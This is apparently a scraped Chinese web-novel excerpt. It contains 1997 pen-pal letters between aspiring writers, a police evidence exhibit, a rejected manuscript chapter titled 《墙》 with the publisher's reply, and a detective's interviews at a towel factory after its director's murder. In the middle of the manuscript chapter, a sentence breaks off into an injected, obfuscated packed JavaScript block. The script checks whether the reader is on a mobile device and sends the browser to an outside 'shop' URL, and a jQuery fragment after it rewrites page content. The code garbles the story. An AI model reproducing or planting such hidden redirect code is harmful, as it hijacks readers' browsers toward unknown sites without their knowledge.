直到读到您这句话,我才忽然醍醐灌顶一样醒悟过来:“镣铐”和“舞蹈”这两个词用得实在太精准也太妙了,创作和跳舞是多么相似啊!都是那么的美,背后所付出的努力又都是多么的呕心沥血,而且想到跳舞,就能联想到那些舞者自由的、浪漫的、优美的律动,和创作是多么的相像啊!而我在写作的时候宛如被陷在什么困境里似的举步维艰,不正如戴着镣铐,戴着枷锁一样吗?这“镣铐”是我有限的写作能力,是特别想写却无法出版的题材,是犹豫为了吸引读者放弃一部分自我、写大众喜爱的情节,还是冒着无人问津的风险坚持写自己想写的……戴着镣铐舞蹈,这个比喻实在是太贴切了。 正如您现在读到的这封信其实是我写的第三稿了,几经涂改后又觉得纸面太不好看,重写了两遍,才勉勉强强写成了现在这个样子。其实我还是不太满意,觉得没有写出预期的效果,哪怕再字斟句酌,不过因为实在担心再不寄出去就真的来不及了,只能匆匆忙忙囫囵写完算数。 不知不觉写了这么长,尽管我已经在竭尽全力地表达我的真诚,但我还是很担心自己又犯了词不达意的老毛病,贫瘠而匮乏的文字无法让您感受到我强烈的愿望:我非常希望能与您成为笔友,我预感我们将成为非常合拍、志同道合的好朋友。 祝您天天开心! 秋实 1997年4月23日 - 秋实: 您好!很高兴收到您的来信,第一次收到整整八页的长信,我反复读了好多遍,实在是太惊讶,也太感动于您的诚意了。非常惭愧,“创作如同戴着镣铐舞蹈”这句话不是我写的,我要是能写出这么凝练深刻的句子做梦都能笑出来。 第一次知道这句话是大学上文艺理论课的时候教授说的,我听到这句话的时候跟您一样,一下子被震撼了。后来去请教老师,才知道最早提出这个说法的是歌德,他形容创作诗歌时受格律的约束,是“负责任的自由,戴着镣铐的舞蹈”。之后尼采也有过类似的表达:“每个不曾起舞的日子都是对生命的辜负,但当一个人被限制住了,他舞动的姿态必将是不自然的。”更为人所知的是闻一多先生的解读:“文学创作应该像是戴着镣铐跳舞,镣铐是格律,我们要跟着格律走,却不受其拘束,要戴着镣铐舞出自己的舞步。” 我虽然读的是中文系,但大学的第一堂课教授就告诉我们:“中文系不培养作家。”按照我读了四年中文系的理解,这句话的意思是中文系只培养研究文学的人,而不负责教会学生怎么写作。所以“戴着镣铐跳舞”里的“镣铐”原本应该指的是写作时受体裁的限制,也就是所谓的“跟着格律走”,但我在自己写作的过程中发现束缚自己落笔的“镣铐”远远不止于此。 我从没有和别人说过自己的这个看法,和您一样,我身边的文艺青年不少,但能够长期坚持写作的同好寥寥无几,哪怕是在中文系里,同学们更多的是在老师给予的框架下写作,而很少有自发的、充满自己写作热情、充满想象力地进行创作。所以当我读到您的信时,真的又惊又喜,我们好多对写作的想法几乎一模一样! 我特别赞同您觉得“词不达意”是对于写作来说最要命的那根“镣铐”。我和您的经历简直一模一样,我也在创作过程中发现自己对文字的把控力不够,难以准确地表达出自己想要表达的意思,明明在脑海里幻想的人物性格和故事情节、或者是环境描写都那么的顺畅、贴切,觉得自己考虑得再万无一失不过,真正落笔却发现写得扭曲歪斜得不像样子,和自己想象的完全不一样。 我读了您写的《墙》,非常有意思的剧情和创意,阿比盖尔这个人物简直就像是武侠小说里特立独行的大侠一样。您的写作风格也很有意思,我特别喜欢您写的比喻,特别是这两个比喻“皮尔斯像一头牛虻一样在餐车后面忙碌”和“阿比盖尔像捉起头皮上一只虱子一样把这些话扔到脑后”,第一次读到的时候我整个人都愣了一下,写得太妙了!相信我,出版社一定会同意出版《墙》的,如果一家拒绝就再多投几家,我自己就做这一行的,您的作品质量绝对过关。 非常惭愧,您这么有诚意地分享了您的作品,我自己却没有什么拿得出手的作品可以跟您分享,和你说的那种“嘴巴上说着热爱文学,实际上却肚子里干瘪得挤不出几滴墨的人”也没什么太大区别。我和您一样手里攒了很多废稿,初高中的时候写了大概有五十万多万字的废稿,大学的时候也是写了撕撕了写,总是写不出能令自己满意的处女作。前两年更是因为临近毕业事情多,又要烦恼工作的事,等毕业后又忙于适应崭新的工作环境,写作计划一直停滞不前,几乎没怎么动笔。 真羡慕您已经有了自己满意的作品,写得慢没关系,至少写作走上了正轨,我却连自己接下来要写什么都毫无头绪。以前写的那些废稿都是读书时候幼稚的、不切实际的白日梦,而现在的我大脑空空,脑子里以前那些天马行空的幻想都像是被日复一日枯燥的工作掏空了。有时又觉得自己在写作上的天赋实在很一般,不知道自己要不要继续写下去,很迷茫,处在想写又不知道怎么写的瓶颈期。其实我也知道这些都是借口,如果真的想要写,有什么能阻止自己动笔呢?这次登报寻找笔友,也是想能和同好交流一下经验教训,说不定能帮助我在写作上找到新的方向。 我和您一样也不喜欢看琼瑶和亦舒的书,实在是矫揉造作——说起来我们真的好多地方的想法都一样啊,您简直就像是世界上的另一个我!姜昕我知道,窦唯的前女友,不过我没听过她的歌,刚去音像店买了她的新唱片,没来得及全听完,只听了您说的《欲望号街车》这首歌,确实是别开生面的摇滚音乐。波伏娃的《第二性》读大学的时候听老师说过,一直没有机会拜读,家附近的书店没有这本书,有空我去别的书店看看。 在收到您的信之前,我确实还收到了几封信也想和我做笔友,但不是出于新奇寄来的,就是您所说的“只会无病呻吟、伤春悲秋的文艺青年”,没有一个是像您这样真正醉心于写作、且怀抱着如此大的诚意的。我当然愿意和您成为笔友,该担心的是我,不知道在得知我其实是一个写作技巧生疏、创作热情不足的人以后,您还愿意和我成为笔友吗? “祝你天天开心”真的是特别棒的祝福语,我特别喜欢。离开学生时代、踏入工作岗位以后,被乏味的工作折磨得我都快忘记开心是什么感觉了,也只有写作能让我感觉到一点快乐了。那么,不论您收到这封信以后还愿不愿意和我成为笔友—— 祝您天天开心! 真真 1997年4月29日 7. 2-08号证物 [案件编号D200002041503,2-08号证物] 名称:东方出版社的回信 数量:1 特征:证物包含本案嫌疑人孙某某向东方出版社投稿、被退回的未发表的小说稿件《墙》,以及东方出版社编辑王某的回信。 备注:证物于本案嫌疑人孙某某家中被发现。据调查,本案嫌疑人孙某某于1997年4月至2000年2月间,向全国至少二十七家出版社投稿了自己的小说《墙》,均遭到拒稿。其中只有东方出版社予以回信。 提交人:孔孝贤 受案民警:孔孝贤 提交时间:2000年2月17日 …… 尊敬的东方出版社主编: 您好! 我叫秋实,一位来自南方小城羊城的青年笔者。 从初中一年级开始我就怀揣着文学梦开始进行创作。起初创作的动力来源于读了语文课本上的名家名篇后,沉醉于作家们绝妙的表达和书中描绘的精彩的虚构世界,不由自主想要进行模仿、再创造。后来我开始逐渐沉迷于用自己的笔创造一个个自己想象出来的人物,沉迷于创作所带给我的无与伦比的快乐。 我幻想自己是女娲或者上帝,赋予笔下人物以生命,设定他们的性格,安排他们的命运,掌控他们的悲喜……我梦想自己能够成为一位真正的作家。 读高中的时候语文老师给我们讲司马迁的名句:“究天人之际,通古今之变,成一家之言。”这是我理解中真正作家的模样。我总是忧心忡忡,觉得自己距离“成一家之言”实在太过遥远,又唯恐自己倘若不勤奋写作,迈出努力的步伐,就永远也无法实现自己的梦想。 好在提笔开始写作整整十年之后,在累积了几十万字的废稿之后,我终于创作出了令自己较满意的作品,希望能够借此迈出实现作家梦的第一步。 在此为您简单介绍一下我的作品:这是一部小说,名叫《墙》。故事发生在70年代的美国旧金山,贫民窟里生活着一位穷困潦倒的写书人阿比盖尔·道格拉斯,他每天的日常是苟延残喘地生活,以及记录道听途说的故事作为写作素材。来找他倾诉自己的故事的通常都是生活失意的小人物,在对方讲述故事时,他们中间隔着一堵墙,谁也看不见谁,谁也不知道墙对面正在说话的是什么人。主人公阿比盖尔坐在墙边旁听着这些或悲惨或五味杂陈的故事,而读者站在阿比盖尔的视角,以第三者的角度体味人世间的酸甜苦辣。 以下是我历时两年,可以说殚精竭虑创作出的小说《墙》的部分稿件,均未公开发表过,不当之处敬请您指点批评。如果能有一点闪光点被您看中,愿意出版这本书,或者有机会在贵社出版的杂志上连载发表,恳请您与我联系。 如果您认为我在写作上哪个方面仍有所欠缺,或者有什么需要改进的地方,恳请您给予建议,这将对我在写作道路上的探索有莫大帮助,感激不尽! …… 《墙》 作者:秋实 [第一章:画画的女清洁工] 阿比盖尔·道格拉斯和往常一样去伟大的慈善家们提供的免费餐车那里领到了今天的晚餐——一块夹了两片发黄生菜的汉堡和一盒过期十天的牛奶。 皮尔斯像一头牛虻一样在餐车后面忙碌,把食物打包装进塑料袋递给阿比盖尔:“道格拉斯,你真该去找一份工作!你瞧,我本来和你一样整天游手好闲,但现在,虽然每天的工资只有四美元,但感谢上帝,我拥有了一份工作。”他在胸前快速画了一个十字。 阿比盖尔摇了摇头,拿着食物走开了。 老伙计还在背后喋喋不休:“道格拉斯,别再写你那永远也出版不了的书啦!瞧瞧你的样子,头发乱糟糟的,还有胡子,上帝啊,你多久没有剃胡子了?我当初认识你的时候你可是个干净体面的大学生呢!” 阿比盖尔像捉起头皮上一只虱子一样把这些话扔到身后。 他提着今天的晚餐沿着弗林德斯街一直向东走到一堵灰色的墙前,在一把靠墙的长椅上坐下。现在是太平洋时间晚上7点46分——从这个角度刚好能够看到渡轮大楼广场的钟楼,白色的塔身在黑夜里像是一把倒插在地上的巨大西洋剑。 11月中旬的旧金山已经刮起寒风,皮尔斯在餐车上加热过的汉堡已经迅速冷掉了,阿比盖尔不用吃就能熟练地想象出咀嚼起来是什么恶心的味道,像嚼一大块发硬的橡皮一样,过期的廉价牛奶则和猫尿的味道差不多。 阿比盖尔拆开汉堡的包装袋,把吸管从牛奶盒子上拆下来插进去,随手放在长椅的把手上,胡乱嘟囔了句“感谢上帝赐给我们的食物,阿门”后开始享用今天的晚餐。 当他把吃完的包装袋扔进几步以外的垃圾桶的时候,渡轮大楼广场上钟楼的大钟刚好被敲响了:“当——当——当——” 阿比盖尔回到长椅上坐下,长椅后的灰墙离地面10英寸的地方有一个拳头大小的洞,因为藏在长椅后面,几乎没有人会发现它。现在,灰墙上的小洞后面传来了一个沙哑的声音:“你好,请问……听说、听说晚上八点这里会有人等着听故事,请问、有人吗?” “有的,”阿比盖尔回答,“你的故事是什么?” “先生,呃,听说可以不说出自己的名字?”这是一个女人的声音,听起来上了年纪,一个常年不断辛苦劳作、忍受了许多苦难的女人的声音。 “是的,女士。” “哦,好,那我就放心了……”墙对面的声音说,“我实在是忍不住了才来这里的,我实在找不到人说这些话,又实在想要找人倾诉,要不然我恐怕要憋坏了。听珍妮弗说有洞的灰墙对面会有人耐心地听陌生人说话,我才来这里的……哦,珍妮弗是我的同事。我是一位清洁工,在杰克逊街的一栋大楼里工作,最近周围所有人都说我是怪物,我的丈夫甚至说我是吸血鬼……抱歉,先生,这个开头是不是很无聊?” “女士,我听过太多无聊的故事,相信我,这绝对不是最无聊的开头。”阿比盖尔回答。 “那就好,那就好,让我想想该从哪里开始说起呢?” “从故事的开头说起通常是最好的选择,女士。” “是的是的,从最开头开始说起……”这位上了年纪的女人开始了自己的叙述:“我出生在密苏里州杰佛逊市的贫民窟,父亲是小镇上出了名的酒鬼,母亲是年轻不懂事的时候被他骗来的妓女。我的童年没什么值得说的,可能整个美国百分之八十出生在贫民窟的女孩都和我有差不多的经历:不工作只知道喝酒、喝醉了就会打妻子和孩子的父亲,辛苦工作却仍然被丈夫打骂、最后忍无可忍丢下孩子逃离这个家的母亲,完美遗传了父亲的基因、同样无所事事只知道在街上游荡的哥哥……是不是确实没什么值得说的?这次我可以肯定,先生,这绝对是最无聊的故事开头。 “说回‘怪物’,其实我不是第一次被别人叫‘怪物’,很小的时候,大概七八岁的时候?就有人这么叫我了。 “第一个叫我‘怪物’的人是邻居家的儿子威廉姆。他的父母和我父母是差不多的货色,总之,因为贫穷和父母的不负责任,我们两个到了八岁依然没有上学,又没有人管,于是我们只好整天在街上瞎晃,企图能遇到什么好心人能施舍给我们一些食物,哪怕一点也好。 “那天阳光特别好——哪怕已经四十年过去了,直到现在我还是能清晰地记得那天灿烂的阳光,整个杰佛逊市都好像被过于明亮的阳光照得发白了。那天我和威廉姆照旧带着脸上被昨晚喝醉酒的父亲扇出的巴掌印,离开弥漫着臭熏熏的酒气和母亲痛哭声的家,在街上漫无目的地游荡。 “在路过卡斯楚街的时候,发现街上居然出现了一个新面孔——一个架着画板,调色盘里全是五颜六色的颜料的年轻人,他衣服上沾着层层叠叠、有新有旧的颜料,黄褐色的头发胡乱扎在脑袋后面,总之,就是那种典型的艺术家气质。 “当我们看到这位年轻的画家的时候,他正表情严肃地拿着画笔在画纸上挥舞,表情严肃得就像面对的是胜利女神像和凯旋门,又或者是巴黎圣母院的教堂,而不是一条常年混迹着酒鬼和妓女,地上到处流淌着污水、垃圾、烟头和酒瓶的街道。 “抱歉先生,我没读过几年书,可能讲得不够清楚,总而言之,在那之前我从来没有见过一个人的脸上能出现那样专注、那样圣洁——是的我当时发自内心地觉得那位年轻画家的表情是那样的圣洁,远比礼拜天母亲带我和哥哥去做礼拜的教堂的神父表情要圣洁得多。如果现在的我再见到那位年轻的画家,也许不会有这样的感受,但那时我只是个没见过世面的八岁小女孩,之前我在周围人脸上见到的最专注的神情也许就是我父亲喝酒时的样子。所以不可避免的,我被那位年轻画家挥洒颜料时的神情深深吸引住了。 “而他画的那幅画,又是那么——那么的美。我从来不知道原来在我眼中那么肮脏、下流、不堪入目的卡斯楚街,在画笔之下居然会变成完全不同的样子。我现在其实已经记不大清那幅画的样子了,只记得画的主要色调是绿色,大块大块深深浅浅的绿,因为那时候是夏天,画家把整条卡斯楚街都画成了绿色。我直到现在所能清楚记得的是,那时第一次感受到绘画的魅力时那种直击头顶的震惊和狂喜。 “那天我站在画家旁边看他作画,从清晨天刚刚亮到卡斯楚街最著名的恶棍都回家睡觉去了。那位年轻画家本来想卖掉几幅画赚钱,可是没想到贫穷的杰佛逊人忙着喝酒、招妓和劳作,会欣赏他的画作的只有一个瘦小的小女孩。最后年轻画家把那天他画的第一幅画,就是我一开始见到的那幅画送给了我,我给它取了名字,叫《绿色卡斯楚》。可惜我把那幅画藏在枕头底下没两个月,就被我的酒鬼父亲翻了出来拿去卖了50美分,换了两瓶廉价威士忌。 “就是那天,威廉姆作为我们彼此唯一的玩伴,一开始他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055812|149204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有耐心陪我看画家作画,后来不知道什么时候他就不见了,我看得太专注,根本没有注意到他。等威廉姆再次出现在我身边的时候,已经是傍晚了,他用从没有过的夸张语气对我喊:‘你已经看了十个小时了,天哪,你不饿吗?你简直是个怪物!’ 女清洁工说:“这是第一次有人叫我‘怪物’。” “噢,您可算不上什么怪物。”阿比盖尔回答,“相信我,女士,我听过的故事里有一半的主人公都比您更像一只怪物!这不算什么,您只是一个被艺术的魅力折服的小女孩而已。” “哦,谢谢,谢谢您先生,谢谢、谢谢……”墙对面的女人几乎在抽噎,“好的,让我们继续说下去,后来……哦,后来,您知道的,像我们这样出身的孩子,特别是女孩,童年总是非常短暂的,我十四岁就被父亲嫁给了比我大十几岁的男人——噢上帝,该死的,又是一个酒鬼。” “我接下来的人生和开头一样无聊,生孩子,劳作,挨打。感恩上帝,在我准备和母亲一样逃跑的时候,那个男人,我的第一任丈夫,哈哈,他夜里喝醉酒掉河里淹死了!我发誓,先生,这绝对是我生命里发生的最幸运的一件事,我一辈子的幸运一定都用在成功诅咒那个男人早死上了,哈哈! “后来我带着孩子离开小镇来到旧金山,认识了现在的丈夫,他虽然好吃懒做,但好歹不会殴打我和孩子。孩子们逐渐长大,我和丈夫商量着离开家出来工作,我非常幸运,找到的第一份清洁工的工作就顺利地干了下去。我已经在公司工作了两年多,今年四月的一天,我像往常一样在傍晚去公司的天台打扫,平时那里最多有人在抽烟,那天却看到有一个公司的女员工正竖着画板在画太阳落下的样子。 “说实在的,已经四十年过去了,我早就已经忘记了小时候在卡斯楚街的事情了,温饱而四处求生的折磨早就已经让我忘记了自己还有过那样全神贯注、幸福的时刻。但是当我看到那个女员工画画的时候,她画得并不好看,但是那一瞬间,就像电影里失忆的主人公突然在某一个瞬间想起一切,总之,小时候看那位年轻画家画《绿色卡斯楚》的事情突然一股脑涌入我的大脑,清晰得像我没有度过漫长的大半生,还是那个痴迷地站在卡斯楚街的街头看人画画的小女孩一样。 “《圣经》说:‘上帝说,要有光,就有了光。’那一刻我看到了属于自己的光。那天下班的路上我去百货商店买了画笔和颜料,回家的时候很晚了,丈夫和孩子已经睡了,我拆开新买的画具的包装袋开始画画。我还记得我画的第一幅画是把记忆里那位年轻画家画的《绿色卡斯楚》重新画了一遍,虽然画得一点也不好,也不像,但我画得特别开心。等到第二天早上丈夫起床,我才发现自己已经画了一整个晚上。 “后面故事的发展您一定已经猜到了。是的,那天以后我除了去上班就是在画画,丈夫嫌弃我不如以前干家务勤快了,而且买颜料花了不少钱,说我是‘吸血鬼’,是‘怪物’;孩子也觉得我变了样子,说觉得我好陌生,不是以前的妈妈了;同事也说我是‘怪物’,她们觉得绘画是超级棒的爱好,但是如果整天在画画,别的事情什么都不关注的话,那就显得太奇怪了。” “我的故事结束了,先生,说出来以后感觉轻松多了。”女清洁工沉重地吁了口气,像一头年迈的喘息的大象,嗓音因为一下子说太多话而显得更加沙哑了,“您觉得这个故事怎么样?” “不错的故事,女士。”阿比盖尔称赞道,“上帝保佑,愿您能一直画下去,直到您的灵魂回归天堂的时刻。” “哦,谢谢您,先生,这一定是我听到过最好的祝福,也祝您能够收集到更加精彩的故事。”女清洁工和他告别,“我该回家了,先生,再见。” “再见,女士。” 等墙对面的声音远去,阿比盖尔裹紧身上单薄的旧大衣,离开长椅,迈进旧金山隆冬凛冽的寒风里。 …… [附信] 秋实: 您好!我是东方出版社的编辑王鸥,很高兴收到您的来信和稿件,感谢您对我们出版社的喜爱。 您的小说《墙》构思非常新颖,充满了您独属于自己的见解,您的文字功底也非常扎实,字里行间经常会出现让人耳目一新的表达。我坚信您未来一定会在写作上有很高的成就。 非常遗憾的是,您的作品目前还达不到本出版社出版、刊登的要求。您的作品在思想上很有深度,但由于每一章的内容是不同的人物在讲述自己的故事,形式上很难使读者产生长期的阅读兴趣。另外本土作者写故事背景在美国的作品,在市场上恐怕较难受到欢迎,对主角阿比盖尔人物形象的塑造也比较单薄。 建议您可以多投几家出版社,或者下一部作品用更传统的写作形式进行创作,相信您一定能实现自己的作家梦。 期待您的再次投稿。 东方出版社编辑王鸥 1998年7月14日 8. 好未来毛巾厂 厂长被杀害后好未来毛巾厂就停工了,加上过年放假,今天是这家当地最大的毛巾厂停工的第十三天。一排排缝纫机、印花机等生产机器安静地蛰伏在空旷的车间里,今天天气很好,阳光透过蓝色的吸热玻璃照耀在机器上,银白色的铁皮铮亮,一格一格铁窗框的阴影打在水磨石地上。 孔孝贤“咔嚓”一声摁开圆珠笔,在临时搬来的桌子上铺开笔录纸,对厂房外等着做笔录的工人们喊:“可以开始了,领班先来。” 第一个进来的是一个四十多岁的中年男人,叫孙跃进,是印染车间的领班,情绪很激动,张嘴一口东北口音,早二十年工人是铁饭碗,本地人干的多,这几年厂里基本都是外地来打工的:“警察同志,听说你们是咱们厂里的工人杀了厂长,这不可能的事!警察同志,咱们好未来毛巾厂都三十八年厂龄了,有名气的老厂了,您出去打听打听,这三十八年咱们厂为羊城的经济发展作了多少贡献,解决了多少同志的工作问题?警察同志您是羊城本地人吗?哦您是啊,那您一定从小到大用的都是咱们厂生产的毛巾……欸对吧!所以啊,您说咱们这么好的厂,厂里的工人自豪还来不及,怎么可能干出害厂长的事情?这不是白眼狼嘛,不可能的,肯定是外面的不法分子干的!” 孔孝贤翻了翻之前老宋来毛巾厂做的笔录,这孙跃进是蒋厂长的小舅子,蒋厂长去世后毛巾厂由其儿子蒋峰代理,蒋峰这两天正在和新的投资方洽谈,准备以低价把厂转让给别的企业。“好未来牌毛巾”在当地的口碑一直很好,能卖个好价钱,但如果杀人的是厂里的工人,成了“凶厂”,成交价肯定要大打折扣。 孔孝贤昨天晚上看笔录看到凌晨,功课做得足,对方糊弄不到他:“可是孙领班,上次做笔录的时候有好几位工人都提到,由于蒋厂长准备在三月份的时候下岗一批工人,所以年前那两个礼拜厂里一直在闹矛盾,甚至工人还集体闹过罢工,只是被厂长压下来了,外面不知道。” 孙跃进支吾了下;“……两口子过日子还干架呢,这么大厂两百来个工人,矛盾肯定是有的。厂长是准备年后下岗一批工人,可那也是没办法的事,前年开始工厂效益就在下滑,到去年年底实在撑不住了。警察同志,您也知道现在工厂不好做,外面好多工厂别说下岗工人了,好多厂都直接倒闭了。咱们厂撑到现在已经很不容易了,说句难听的,要不是运气好在咱们厂当工人,说不定三五年前就下岗了!真不是我对工人有意见,可他们真就是拿起筷子吃肉放下碗骂娘,不说对工厂感恩戴德吧,还要闹罢工惹事儿,去外面看看哪家工厂不下岗工人?现在这个经济形势就是这样,谁都没办法的事。” “不只是闹罢工吧?”孔孝贤道,“一月份的时候蒋厂长家里还被砸了窗户,墙上被红油漆刷了字‘黑心资本家,还我工作’,甚至进过小偷丢了不少值钱的东西,蒋厂长的夫人还因此受惊躲去了外地。外面下岗工人的、倒闭的工厂这么多,没见过哪家工人闹得这么厉害的,孙领班,这里面还有没有别的什么原因?” 孙跃进咬死了说没有,工人就是因为要下岗闹事。 孔孝贤只好换个问题,问起何春华受工伤的事,孙跃进脸上露出不忍,叹气:“华子是个好孩子,工作特别努力,谁也没想到会发生这样的事情。那台剪绒机出事前几天刚刚维修过,机器是没有任何问题的,目击的工人都说是华子突然晃了下神,右手就卷进剪绒机了,完全是个意外。” 这和之前工人的证词相符,孔孝贤问:“后续的赔偿都到位了吗?” “警察同志,这个您放心,该有的工伤补偿都按照国家法定的金额赔偿到位了,现在还在走程序,估计过两天赔偿金就到账了。包括华子的医药费用,咱们厂也全包了,毕竟是在厂里出的事,华子又这么年轻就没了劳动能力,厂里肯定是在能力范围内尽力补偿的。” 这就奇怪了,如果毛巾厂没有赖掉何春华的赔偿金,孙依萍就没有了作案动机,总不见得因为男友自己操作失误受伤,就恨得要杀人吧?“孙领班,你知道何春华有个女友吗?”孔孝贤问。 “哦,是不是新闻里说的那个什么‘孙某某’?”孙跃进挠了挠脑门,“咱们也是看了新闻才知道的,以前就听华子说过在处对象,但是从来没见到过人,咱们都以为他吹牛的呢。” “据孙依萍女士工作的单位说,孙依萍在得知何春华出事后,第一时间就请假去照看男友。你们应该去医院慰问过何春华吧,去的时候没碰到过?” 这么一说孙跃进有点印象了:“……咱们去的时候好像是有个女的在!不过她说自己是华子的妹子,华子还昏着没醒,咱们也就当真了。” “何春华只有一个妹妹,在江西老家,两个人五六年没联系了。”总算问出点东西了,孔孝贤追问,“你看到的人是不是黑色长发,身高一米六左右,上身穿着黑色真维斯羽绒服,下身深色裤子?” “对对对,长得还蛮漂亮的。” “那就是她,”孔孝贤埋头写笔录,“你们去看何春华那天是几号?” “1号,就这个月1号。” “上午还是下午?” “上午。” 2月1日下午三点半是孙依萍最后一次被目击,团结医院的一位护士在医院楼梯间遇到了正在下楼的孙依萍。医院门口的监控摄像头拍下了她离开医院,最后消失在监控范围内的画面,之后再也没有人见到过她,也没有被任何摄像头拍到。 “警察同志,你们真怀疑华子他对象杀了厂长?不可能吧!”孙跃进说,“那女的快瘦成竹竿了,看上去胆子也小,让她杀只鸡都砍不动吧?听说厂长被捅了八刀,咱们厂长有一百六七十斤,那得多大力气,肯定是个男的。警察同志,您还是赶紧查查厂长是不是在生意上得罪了什么人,咱们厂里的工人不可能干这事儿,那肯定是外面的人干的嘛!” 孔孝贤不置可否:“孙领班,感谢配合警方的调查,你的笔录就做到这里,麻烦帮我出去叫下一位进来做笔录。” 其他工人的证词和之前老宋做的笔录出入不大,大部分都在抱怨在毛巾厂干的好好的,怎么说下岗就下岗,甚至有人埋怨厂长怎么就死了?本来只是下岗一部分工人,这下好了,全厂都没饭吃了!还有工人腆着脸跟孔孝贤打听,问警察同志您了解买断工龄和签协保协议哪个更划算吗?如果直接买断会不会吃亏,签协议的话每个月收入又太少,养不活一家老小,不知道以后该干点别的什么工作。一张张迷茫的脸,厂长的死没有人关心,他们只知道自己前途未卜。 没有人承认去蒋厂长家刷大字、□□,对于那次集体闹罢工,工人们都说是因为不满被下岗,看到其他人罢工,自己也就跟着一起闹了。至于何春华的事故,除了当时坐在他旁边工位、亲眼看到他右手被卷进剪绒机的几个工人,其他人都不清楚具体情况,目击证人那里也没有什么新的证词。 孔孝贤重点询问了一个叫刘树功的机修工,厂里他跟何春华最要好,出事的那台剪绒机也是他负责维修的。 “警察同志,您好。”刘树功坐下来的时候很局促,人很紧张,双手不自觉地搓在一起,看了一眼孔孝贤又迅速挪开视线。 按照其他工人的说法,虽然厂里调查后认为何春华用的那台剪绒机没有任何问题,刘树功没有责任,但还是有不少人觉得他害人,害的还是自己的好兄弟,话传话越传越难听,这段时间刘树功没少被工友排挤。最近出的坏事太多,好未来毛巾厂的这群待下岗工人们必须找到一个发泄他们的恐惧、迷茫、愤怒的出口,就跟读书的时候班里总要找出一两个人搞孤立一样,人性就是这么卑鄙。 孔孝贤没有问剪绒机的事,调查报告写得很清楚,没有任何值得质疑的地方,他想问的是何春华:“据我们调查,一月中旬何春华和女友攒够一万元钱,准备年后辞职去北京闯荡,你知道这件事吗?” 刘树功愣了一下:“知道,华子跟他对象还请我吃了顿饭庆祝呢。” 孔孝贤一愣:“你见过何春华的女友?” “见过,见过好几次呢。” 之前所有工人包括领班都说没见过孙依萍,孔孝贤问:“那你知道他为什么从来不让其他工友见吗?” “嗨,这个嘛,”见孔孝贤没有提剪绒机的事,刘树功放松了许多,“华子他对象长得漂亮,不乐意让其他男人见到,男人嘛,警察同志你也是男的,懂的呀。” “你知道孙依萍做的是什么工作吗?” “这还真不知道,”刘树功说,“我只知道华子他对象干的工作挺光鲜的,能见到很多有钱人。” 能去光明会所消费的当然兜里得有两个钢蹦儿,看来何春华不让工友见孙依萍的原因应该还有一个:女友从事的工作并不光彩,要是不巧被工友认出来就尴尬了。孔孝贤在脑子里走了一遍事情的经过,他琢磨案子的时候习惯这么做,总觉得哪里不对:“攒够钱马上要去北京,何春华应该很开心吧,怎么会精神恍惚到上工的时候手栽进机器里?” “说不定前一天晚上跟对象闹太开心,或者去网吧通宵打游戏了?谁知道。”刘树功烦躁地抹了把脸,这段时间又是兄弟没了手又是下岗,生活一团乱糟糟,脸上是和其他工人如出一辙的迷茫。 全部做完笔录已经下午五点多了,工人三三两两离开毛巾厂,孔孝贤在工厂门口站着看了会儿,等人走得差不多了从警服口袋里摸出一包红双喜,抽了根点上。 他以前是不抽烟的,读警校的时候一个宿舍的哄着他抽他还不乐意呢,谁知道毕业工作才四年多就成老烟枪了,多的时候一天能抽掉半包。干刑警压力大,手里都是一条条人命, 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升职失败被资历差不多的同事抢了先,孔孝贤心里不舒服是肯定的,但不至于因为这个故意和李松涛较劲。但李松涛显然不这么想,新官上任三把火,他一心想靠这个案子把孔孝贤压下去,坐稳小组长的位置。 本来两个人负责一个案子应该齐头并进,现在李松涛全盘推翻之前老宋的路子,坚持认为是毛巾厂工人杀了厂长,还不让孔孝贤插手他查案,意思两个人各查各的,他查工人,孔孝贤查孙依萍。本来合作查案应该是两个人互相查缺补漏,现在被李松涛搞成了同台比拼,孔孝贤本来没有较劲的心思也被李松涛弄出了火气。 倒霉的是他的霉运大概还没走,今天这笔录做下来,他也觉得孙依萍是凶手的可能性不大,看之前孙跃进做笔录的时候遮遮掩掩的腔调,毛巾厂内部显然问题更严重。 照理说不应该啊,他以前也跟老宋一起查过案子,老宋的办案作风就是稳,一般不会出错。更别说孙依萍的名字都报上新闻了,那是非常确定她是凶手了,老宋向来秉持宁可放过绝不错杀,怎么会出现这么严重的判断失误? 李松涛回局里研究笔录去了,孔孝贤在原地站了一会儿,把燃尽的烟蒂摁灭在墙上,决定还是联系老宋确认一下有没有什么证据被他遗漏了。 他找毛巾厂留守的员工借座机打给寻呼台,让那边给老宋的BB机发条消息,让他看到尽快回拨电话。BB机收到消息后得找到附近的电话亭或者身边有座机才能回电,孔孝贤本来做好准备等个半小时一刻钟的,没想到没两分钟电话就回过来了。一接起来就听见老宋的大嗓门:“喂?小孔啊?喂!喂!听不见,你再说一遍!” 固定电话信号不会这么差,而且孔孝贤听着老宋这话耳熟,跟做生意的大老板拿“大哥大”接电话的时候故意炫耀似的:“老宋,你用什么打电话的?” “用的‘大哥大’!”老宋嘿嘿笑,那得意劲儿都顺着天线过来了,“我餐馆开业三天就赚了两千多,这可是扣掉成本和员工工资的净利润!北京人的钱真是好赚啊,这不有公司说要投资我的店,我想着我们羊城人丢什么都不能丢面子,刚去买了个‘大哥大’,花了我九千三百块!还好这两年降价了,不然还买不起呢。刚买回来还没摸热乎呢,寻呼台就给我发消息说你找我,小孔啊,是不是从来接到过‘大哥大’打来的电话,感觉怎么样?” “厉害啊,一做生意就赚,说明天生的生意头脑,以后该叫你宋老板了!”“大哥大”信号不好,声音断断续续的,孔孝贤连蒙带猜着拍马屁,“对了老宋,好未来毛巾厂那个案子你为什么认为何春华的女友是凶手?我查下来她没有作案动机啊。” “好未来?什么……哦你说的是案子啊,这个说来话长。”电话那边闹哄哄的,很吵,听着老宋像是在酒桌上,“小孔啊,这样,我现在要忙生意,等我晚点空下来给你打电话,你在局里还是在家里?” 孔孝贤赶紧说:“现在在外面,待会儿马上回局里,今天晚上估计要通宵在局里查案子,你空了打局里座机就行。” 